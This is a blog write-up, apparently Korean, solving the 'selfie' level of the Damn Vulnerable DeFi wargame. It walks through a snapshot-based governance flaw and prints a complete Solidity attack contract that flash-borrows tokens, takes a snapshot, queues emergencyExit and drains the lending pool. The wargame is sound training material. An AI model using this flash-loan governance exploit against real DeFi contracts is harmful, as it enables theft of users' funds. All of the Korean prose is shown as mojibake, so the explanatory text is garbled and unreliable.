Damn Vulnerable DeFi(6): selfie

๋…์ˆ˜๋ฆฌ๋ฐ•๋ฐ•ยท2024๋…„ 4์›” 29์ผ
0
post-thumbnail

Damn Vulnerable DiFi

๐Ÿ’กDamn Vulnerable DeFi๋ž€?
๋ง ๊ทธ๋Œ€๋กœ ์—„์ฒญ ์ทจ์•ฝํ•œ DeFi๋ž€ ๋œป ์ž…๋‹ˆ๋‹ค. ์ž‘์„ฑ๋˜์–ด ์žˆ๋Š” ์ปจํŠธ๋ž™ํŠธ๋ฅผ ๋ณด๊ณ  ์ทจ์•ฝ์ ์„ ๋ถ„์„ํ•œ ๋’ค ๊ณต๊ฒฉ์„ ์œ„ํ•œ ์ปจํŠธ๋ž™ํŠธ๋‚˜ ํ…Œ์ŠคํŠธ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด ์›ํ•˜๋Š” ๊ฒฐ๊ณผ๋ฅผ ๋„์ถœํ•˜๋Š” ์ผ์ข…์˜ ์›Œ๊ฒŒ์ž„ ์ž…๋‹ˆ๋‹ค.

Selfie


selfie ๋ฌธ์ œ๋Š” ์ƒˆ๋กœ ๋Ÿฐ์นญ๋œ DVT Token Lending Pool์—์„œ ๋ชจ๋“  DVT ํ† ํฐ์„ ํƒˆ์ทจํ•˜๋Š” ๊ฒƒ ์ž…๋‹ˆ๋‹ค. ํ•ด๋‹น Lending Pool์€ ๊ฑฐ๋ฒ„๋„Œ์Šค์— ์˜ํ•ด์„œ ์ œ์–ด๋˜๊ธฐ ๋•Œ๋ฌธ์— ๊ฑฐ๋ฒ„๋„Œ์Šค์™€ ๊ด€๋ จ๋œ ์ทจ์•ฝ์ ์„ ๋ถ„์„ํ•˜๊ณ  ์ด๋ฅผ ์ด์šฉํ•ด์„œ ๋ชจ๋“  ํ† ํฐ์„ ํƒˆ์ทจํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

governance: ๋ธ”๋ก์ฒด์ธ์—์„œ์˜ ๊ฑฐ๋ฒ„๋„Œ์Šค(Governance)๋Š” ๋ธ”๋ก์ฒด์ธ ๋„คํŠธ์›Œํฌ์˜ ์šด์˜, ๊ด€๋ฆฌ, ๊ทธ๋ฆฌ๊ณ  ๋„คํŠธ์›Œํฌ ๋‚ด์—์„œ์˜ ์˜์‚ฌ๊ฒฐ์ • ๊ตฌ์กฐ๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ธ”๋ก์ฒด์ธ ๊ธฐ์ˆ ์ด ์ž์œจ์ ์ด๊ณ  ํƒˆ์ค‘์•™ํ™”๋œ ํŠน์„ฑ์„ ๊ฐ–๊ณ  ์žˆ์Œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ , ๋„คํŠธ์›Œํฌ์˜ ์œ ์ง€ ๋ฐ ๋ฐœ์ „์„ ์œ„ํ•ด ํ•„์ˆ˜์ ์ธ ์š”์†Œ์ž…๋‹ˆ๋‹ค.

  • SelfiePool: DVT Token์— ๋Œ€ํ•œ flashLoan์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์ถœ์„ ์ƒํ™˜ํ•˜๊ธฐ ์œ„ํ•ด์„œ ์‚ฌ์šฉ์ž๋Š” onFlashLoan์ด๋ผ๋Š” ๋Œ€์ถœ ์ƒํ™˜ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ๊ตฌํ˜„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด์ „ ๋ฌธ์ œ์—์„œ๋„ ๋งŽ์ด ๋‚˜์˜จ ์ปจํŠธ๋ž™ํŠธ ๊ตฌ์กฐ์™€ ๋น„์Šทํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น pool์€ ๊ฑฐ๋ฒ„๋„Œ์Šค์— ์˜ํ•ด ์ปจํŠธ๋กค ๋ฉ๋‹ˆ๋‹ค.

  • SimpleGovernance: ๋ง ๊ทธ๋ž˜๋„ ๊ฐ„๋‹จํ•˜๊ฒŒ ๊ตฌํ˜„๋œ ๊ฑฐ๋ฒ„๋„Œ์Šค์ด๋ฉฐ ์‚ฌ์šฉ์ž๊ฐ€ ์–ด๋–ค ์•ก์…˜์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ๊ถŒํ•œ์„ ๊ฒ€์‚ฌํ•˜๊ณ  ํŠน์ • ์•ก์…˜์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๊ถŒํ•œ์€ ํŠน์ • snapshot์— ์‚ฌ์šฉ์ž์˜ ์ž”์•ก์„ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค.

๋„์ „๊ณผ์ œ


after(async function () {
    /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

    // Player has taken all tokens from the pool
    expect(await token.balanceOf(player.address)).to.be.equal(TOKENS_IN_POOL);
    expect(await token.balanceOf(pool.address)).to.be.equal(0);
  });
  • ๊ณต๊ฒฉ ์‹คํ–‰ ํ›„ ์‚ฌ์šฉ์ž์˜ ์ž”์•ก์€ Pool์— ์žˆ๋˜ ์ž”์•ก๊ณผ ๋™์ผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • pool์˜ ์ž”์•ก์€ 0์ด ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

SimpleGovernance


์ž‘๋™๋ฐฉ์‹

์‚ฌ์šฉ์ž๋Š” ์›ํ•˜๋Š” ์•ก์…˜์„ ํ์— ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ์ €์žฅ๋œ ์•ก์…˜๋“ค์€ ์‹คํ–‰๋˜๊ธฐ ์ „๊นŒ์ง€ ํ์— ๋‚จ์•„์žˆ์œผ๋ฉฐ ์‚ฌ์šฉ์ž๊ฐ€ ์ด ์•ก์…˜์„ ์‹คํ–‰ํ•ด์•ผ๋งŒ ์‚ฌ๋ผ์ง‘๋‹ˆ๋‹ค. ์•ก์…˜์€ value, target์„ ์ง€์ •ํ•ด ์›ํ•˜๋Š” ๊ถŒํ•œ๋งŒ ์žˆ๋‹ค๋ฉด ๋ชจ๋“  ์•ก์…˜์„ ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

function queueAction(
        address target,
        uint128 value,
        bytes calldata data
    ) external returns (uint256 actionId) {
        if (!_hasEnoughVotes(msg.sender)) revert NotEnoughVotes(msg.sender);

        if (target == address(this)) revert InvalidTarget();

        if (data.length > 0 && target.code.length == 0)
            revert TargetMustHaveCode();

        actionId = _actionCounter;

        _actions[actionId] = GovernanceAction({
            target: target,
            value: value,
            proposedAt: uint64(block.timestamp),
            executedAt: 0,
            data: data
        });

        unchecked {
            _actionCounter++;
        }

        emit ActionQueued(actionId, msg.sender);
    }

ํ์— ์ €์žฅ๋˜์–ด ์žˆ๋Š” ์•ก์…˜ ์‹คํ–‰์€ ์•ก์…˜์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์„๋งŒํผ์˜ ์ถฉ๋ถ„ํ•œ Balance๊ฐ€ ์žˆ๋Š”์ง€ ๊ฒ€์‚ฌ๋งŒ ์ง„ํ–‰ํ•œ ํ›„ ์•„๋ž˜ ์ฝ”๋“œ์ฒ˜๋Ÿผ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

function executeAction(
        uint256 actionId
    ) external payable returns (bytes memory) {
        if (!_canBeExecuted(actionId)) revert CannotExecute(actionId);

        GovernanceAction storage actionToExecute = _actions[actionId];
        actionToExecute.executedAt = uint64(block.timestamp);

        emit ActionExecuted(actionId, msg.sender);

        (bool success, bytes memory returndata) = actionToExecute.target.call{
            value: actionToExecute.value
        }(actionToExecute.data);
        if (!success) {
            if (returndata.length > 0) {
                assembly {
                    revert(add(0x20, returndata), mload(returndata))
                }
            } else {
                revert ActionFailed(actionId);
            }
        }

        return returndata;
    }

์•ก์…˜์ด ์‹คํ–‰ํ•  ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€๋Š” ๊ฐ€์žฅ ์ตœ๊ทผ snapshot์˜ ์ž”์•ก์„ ํ™•์ธํ•ด์„œ ํ† ํฐ์˜ ์ด ๋ฐœํ–‰๋Ÿ‰์˜ 50%๋ฅผ ์ดˆ๊ณผํ•˜๋Š” ์ง€๋ถ„์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด ์‹คํ–‰๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

function _hasEnoughVotes(address who) private view returns (bool) {
        uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
        uint256 halfTotalSupply = _governanceToken
            .getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }

์•„๋งˆ ์ด๋Ÿฐ ๋ถ„๋ฅ˜์˜ ๋ฌธ์ œ๋“ค์„ ๋งŽ์ด ํ’€์–ด๋ณด์‹  ๋ถ„๋“ค์ด๋ผ๋ฉด ๋ฌธ์ œ์ ์„ ๋ฐ”๋กœ ์•Œ ์ˆ˜ ์žˆ์œผ์…จ์„ ๊ฒ๋‹ˆ๋‹ค.

์ด๋ ‡๊ฒŒ ์Šค๋ƒ…์ƒท์— ์ €์žฅ๋˜์–ด ์žˆ๋Š” ์ •๋ณด๋“ค๋กœ ์–ด๋–ค ๊ถŒํ•œ์ด๋‚˜ ์ž๊ฒฉ์„ ๊ฒ€์‚ฌํ•  ๋•Œ ์ด๋ ‡๊ฒŒ ์•„๋ฌด ์กฐ๊ฑด ์—†์ด ๊ฐ€์žฅ ์ตœ๊ทผ์˜ ์Šค๋ƒ…์ƒท์„ ์‚ฌ์šฉํ•˜๊ฒŒ ๋˜๋ฉด ๊ทธ ์ˆœ๊ฐ„์—๋งŒ ์œ ์ง€๋˜๋˜ ์ •๋ณด๋“ค๋กœ ์ธํ•ด ์ž˜๋ชป๋œ ์‚ฌ๋žŒ์—๊ฒŒ ์ž˜๋ชป๋œ ๊ถŒํ•œ ๋ถ€์—ฌ๋ฅผ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

SelfiePool


๊ฐ„๋‹จํ•˜๊ฒŒ ๊ตฌํ˜„๋œ Lender Pool์ด์ง€๋งŒ ์ด์ƒํ•œ ๋ถ€๋ถ„์ด ์žˆ์Šต๋‹ˆ๋‹ค.

function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }

๋ฐ”๋กœ ์ด ๋ถ€๋ถ„ ์ž…๋‹ˆ๋‹ค. ์˜ค์ง ๊ฑฐ๋ฒ„๋„Œ์Šค๋งŒ์ด ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์ง€์ •๋œ receiver์—๊ฒŒ ํ•ด๋‹น ์ปจํŠธ๋ž™ํŠธ์˜ ์ž”์•ก์„ ์ „์†กํ•ด์ค๋‹ˆ๋‹ค.

์•„๋งˆ ๋น„์ƒ ์ƒํ™ฉ์‹œ ์ปจํŠธ๋ž™ํŠธ์˜ ๋ชจ๋“  ํ† ํฐ๋“ค์„ ๋‹ค๋ฅธ ๊ณณ์œผ๋กœ ์˜ฎ๊ธฐ๋ ค๊ณ  ์žˆ๋Š” ๊ธฐ๋Šฅ์ด์ง€๋งŒ ์•…์šฉ ๊ฐ€๋Šฅ์„ฑ์ด ๋‹ค๋ถ„ ํ•ฉ๋‹ˆ๋‹ค. receiver๋ฅผ ์œ ๋™์ ์œผ๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

Solution


์ €ํฌ๋Š” ์œ„์—์„œ ์•Œ์•„๋‚ธ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ Pool์— ์žˆ๋Š” ๋ชจ๋“  ํ† ํฐ์„ ํƒˆ์ทจ ํ•ด๋‚ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  1. FlashLoan์—์„œ Token์„ ๋Œ€์ถœ ๋ฐ›๋Š”๋‹ค.
  2. onFlashLoan์ด ์‹คํ–‰๋˜๋Š” ๊ณผ์ •์—์„œ ๋Œ€์ถœ๊ธˆ์„ ์ƒํ™˜ํ•˜๊ธฐ ์ „ DVT Token์˜ snapshot์„ ์ฐ๋Š”๋‹ค.
  3. ๊ฑฐ๋ฒ„๋„Œ์Šค์˜ ์•ก์…˜ ํ์— receiver๋ฅผ ๊ณต๊ฒฉ ์ปจํŠธ๋ž™ํŠธ๋กœ ์ง€์ •ํ•ด์ค€ ๋’ค pool์˜ emergencyExit์„ ์•ก์…˜์œผ๋กœ ์ถ”๊ฐ€ํ•ด ์ค€๋‹ค.
  4. ๋Œ€์ถœ๊ธˆ์„ ์ƒํ™˜ํ•˜๊ณ  ๊ณต๊ฒฉ ํ์— ์žˆ๋Š” ์•ก์…˜์„ ์‹คํ–‰
  5. ์‚ฌ์šฉ์ž์—๊ฒŒ ํƒˆ์ทจํ•œ ํ† ํฐ ์ „์†ก

๊ณต๊ฒฉ ์ปจํŠธ๋ž™ํŠธ

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../selfie/SelfiePool.sol";
import "../selfie/SimpleGovernance.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "../DamnValuableTokenSnapshot.sol";

contract SelfieAttacker {
    SelfiePool pool;
    IERC3156FlashBorrower borrower;
    SimpleGovernance governance;
    DamnValuableTokenSnapshot DVT;
    address owner;
    uint256 public actionId;
    bytes result;

    constructor(address _pool, address _governance, address _DVT) {
        pool = SelfiePool(_pool);
        borrower = IERC3156FlashBorrower(address(this));
        governance = SimpleGovernance(_governance);
        DVT = DamnValuableTokenSnapshot(_DVT);
        owner = msg.sender;
    }

    function attack() external {
        pool.flashLoan(
            borrower,
            address(DVT),
            DVT.balanceOf(address(pool)),
            ""
        );
    }

    function onFlashLoan(
        address,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external returns (bytes32) {
        require(token == address(DVT), "Token not supported");
        DVT.snapshot();

        actionId = governance.queueAction(
            address(pool),
            0,
            abi.encodeWithSignature("emergencyExit(address)", address(this))
        );
        DVT.approve(address(pool), amount + fee);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    function withdraw() external {
        require(msg.sender == owner, "Not owner");
        result = governance.executeAction(actionId);
        pool.token().transfer(
            msg.sender,
            pool.token().balanceOf(address(this))
        );
    }
}
  • ๊ณต๊ฒฉ ์ปจํŠธ๋ž™ํŠธ ๋ฐฐํฌ
  • FlashLoan ์‹คํ–‰
  • ๋ธ”๋ก time.stamp ์กฐ์ •(์Šค๋ƒ…์ƒท์ด ์ฐํžˆ๊ณ  ์ผ์ •์‹œ๊ฐ„์ด ์ง€๋‚œ ๋’ค๋กœ ์ด๋™)
  • ๊ณต๊ฒฉ ์‹คํ–‰(์‚ฌ์šฉ์ž๊ฐ€ ๋ชจ๋“  ํ† ํฐ์„ ๋ฐ›์Œ)

์ด ์ˆœ์„œ๋Œ€๋กœ ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•ด ๋ชฉ์ ์„ ๋‹ฌ์„ฑํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

๊ธฐํƒ€ ์ทจ์•ฝ์ 


  • ์ค‘์•™์ง‘๊ถŒํ™”๋œ ํˆฌํ‘œ ์ž„๊ณ„๊ฐ’: _hasEnoughVotes ํ•จ์ˆ˜๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๊ฑฐ๋ฒ„๋„Œ์Šค ํ† ํฐ์˜ ๊ณผ๋ฐ˜์ˆ˜๋ฅผ ์†Œ์œ ํ•˜๊ณ  ์žˆ์–ด์•ผ ์•ก์…˜์„ ํ์— ๋„ฃ์„ ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋งค์šฐ ๋†’์€ ํˆฌํ‘œ ์ž„๊ณ„๊ฐ’์„ ์„ค์ •ํ•˜๋ฉฐ, ์‹ค์งˆ์ ์œผ๋กœ ํ•˜๋‚˜์˜ ์ฃผ์ฒด๊ฐ€ ๊ณผ๋ฐ˜์ˆ˜์˜ ํ† ํฐ์„ ์†Œ์œ ํ•˜๋Š” ๊ฒฝ์šฐ ์ „์ฒด ๋„คํŠธ์›Œํฌ์˜ ๊ฑฐ๋ฒ„๋„Œ์Šค๋ฅผ ๋…์ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ค‘์•™์ง‘๊ถŒํ™”๋Š” ๋ธ”๋ก์ฒด์ธ๊ณผ ํƒˆ์ค‘์•™ํ™”์˜ ๊ธฐ๋ณธ ์›์น™์— ์–ด๊ธ‹๋‚ฉ๋‹ˆ๋‹ค.

  • ์žฌ์ง„์ž…(reentrancy) ์ทจ์•ฝ์ : executeAction ํ•จ์ˆ˜์—์„œ ์™ธ๋ถ€ ์ปจํŠธ๋ž™ํŠธ์— ๋Œ€ํ•œ call์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž„์˜์˜ ๋ฐ์ดํ„ฐ์™€ ์ด๋”๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด call์€ ์„ฑ๊ณต ๋˜๋Š” ์‹คํŒจ ์‹œ ํŠน์ • ์กฐ๊ฑด ์—†์ด ์‹คํ–‰๋˜๋ฏ€๋กœ, ๋Œ€์ƒ ์ปจํŠธ๋ž™ํŠธ๊ฐ€ ์žฌ์ง„์ž… ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ์ง€๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋ฌผ๋ก , ํ˜„์žฌ ์ฝ”๋“œ ํ๋ฆ„์—์„œ๋Š” ์‹คํ–‰ ํ›„ executedAt ํƒ€์ž„์Šคํƒฌํ”„๊ฐ€ ์„ค์ •๋˜๋ฏ€๋กœ ์žฌ์ง„์ž… ๊ณต๊ฒฉ์ด ๋ฐ”๋กœ ์ด์–ด์งˆ ๊ฐ€๋Šฅ์„ฑ์€ ๋‚ฎ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Š” ๊ตฌ์กฐ์ ์œผ๋กœ ์ž ์žฌ์  ์œ„ํ—˜์„ ๊ฐ–๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

  • ํƒ€๊ฒŸ ์ฝ”๋“œ ์กด์žฌ ์—ฌ๋ถ€ ๊ฒ€์ฆ: queueAction ํ•จ์ˆ˜๋Š” ํƒ€๊ฒŸ ์ฃผ์†Œ์— ์ฝ”๋“œ๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Š” ๋‹จ์ˆœํžˆ ์ฝ”๋“œ์˜ ์กด์žฌ๋งŒ์„ ํ™•์ธํ•  ๋ฟ, ํ•ด๋‹น ์ฝ”๋“œ๊ฐ€ ์•ˆ์ „ํ•˜๊ฑฐ๋‚˜ ์˜ˆ์ƒ๋Œ€๋กœ์˜ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•œ๋‹ค๋Š” ๋ณด์žฅ์€ ์—†์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์•…์˜์ ์ธ ์ฝ”๋“œ๊ฐ€ ๊ฑฐ๋ฒ„๋„Œ์Šค ์‹œ์Šคํ…œ์„ ํ†ตํ•ด ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

  • ์‹œ๊ฐ„ ์กฐ์ž‘ ๊ฐ€๋Šฅ์„ฑ: ๋ธ”๋ก์ฒด์ธ์—์„œ block.timestamp (ํ˜น์€ now)๋Š” ๋ธ”๋ก์„ ์ฑ„๊ตดํ•˜๋Š” ๋งˆ์ด๋„ˆ์— ์˜ํ•ด ์กฐ์ž‘๋  ์ˆ˜ ์žˆ๋Š” ๊ฐ’์ž…๋‹ˆ๋‹ค. executeAction์—์„œ๋Š” ์ด ํƒ€์ž„์Šคํƒฌํ”„๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์•ก์…˜์˜ ์‹คํ–‰ ๊ฐ€๋Šฅ ์—ฌ๋ถ€๋ฅผ ํŒ๋‹จํ•ฉ๋‹ˆ๋‹ค. ๋น„๋ก ํฐ ๋ฒ”์œ„์˜ ์กฐ์ž‘์€ ์–ด๋ ต์ง€๋งŒ, ๋ช‡ ๋ถ„ ๋‚ด์™ธ๋กœ ์กฐ์ž‘์ด ๊ฐ€๋Šฅํ•˜์—ฌ ๊ฒฐ์ •์ ์ธ ์ƒํ™ฉ์—์„œ ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ๊ฑฐ๋ฒ„๋„Œ์Šค ๋ฉ”์ปค๋‹ˆ์ฆ˜์˜ ํˆฌ๋ช…์„ฑ ๋ฐ ์œ ์—ฐ์„ฑ ๋ถ€์กฑ: ์ฝ”๋“œ ๋‚ด์—์„œ ๊ณ ์ •๋œ ๋ฐฉ์‹(ACTION_DELAY_IN_SECONDS์™€ hasEnoughVotes)๋งŒ์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฑฐ๋ฒ„๋„Œ์Šค ๊ฒฐ์ •์„ ๋‚ด๋ฆฌ๋ฏ€๋กœ, ๋‹ค์–‘ํ•œ ์ƒํ™ฉ์— ์œ ์—ฐํ•˜๊ฒŒ ๋Œ€์ฒ˜ํ•˜๊ธฐ ์–ด๋ ต์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ๋ชจ๋“  ๊ฒฐ์ •๊ณผ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์ด ๊ณต๊ฐœ์ ์ด๊ณ  ํˆฌ๋ช…ํ•˜๊ฒŒ ๊ด€๋ฆฌ๋˜๋Š”์ง€์— ๋Œ€ํ•œ ๊ตฌ์ฒด์ ์ธ ํ™•์ธ ๋ฐฉ๋ฒ•์ด ๋ถ€์กฑํ•ฉ๋‹ˆ๋‹ค.

0๊ฐœ์˜ ๋Œ“๊ธ€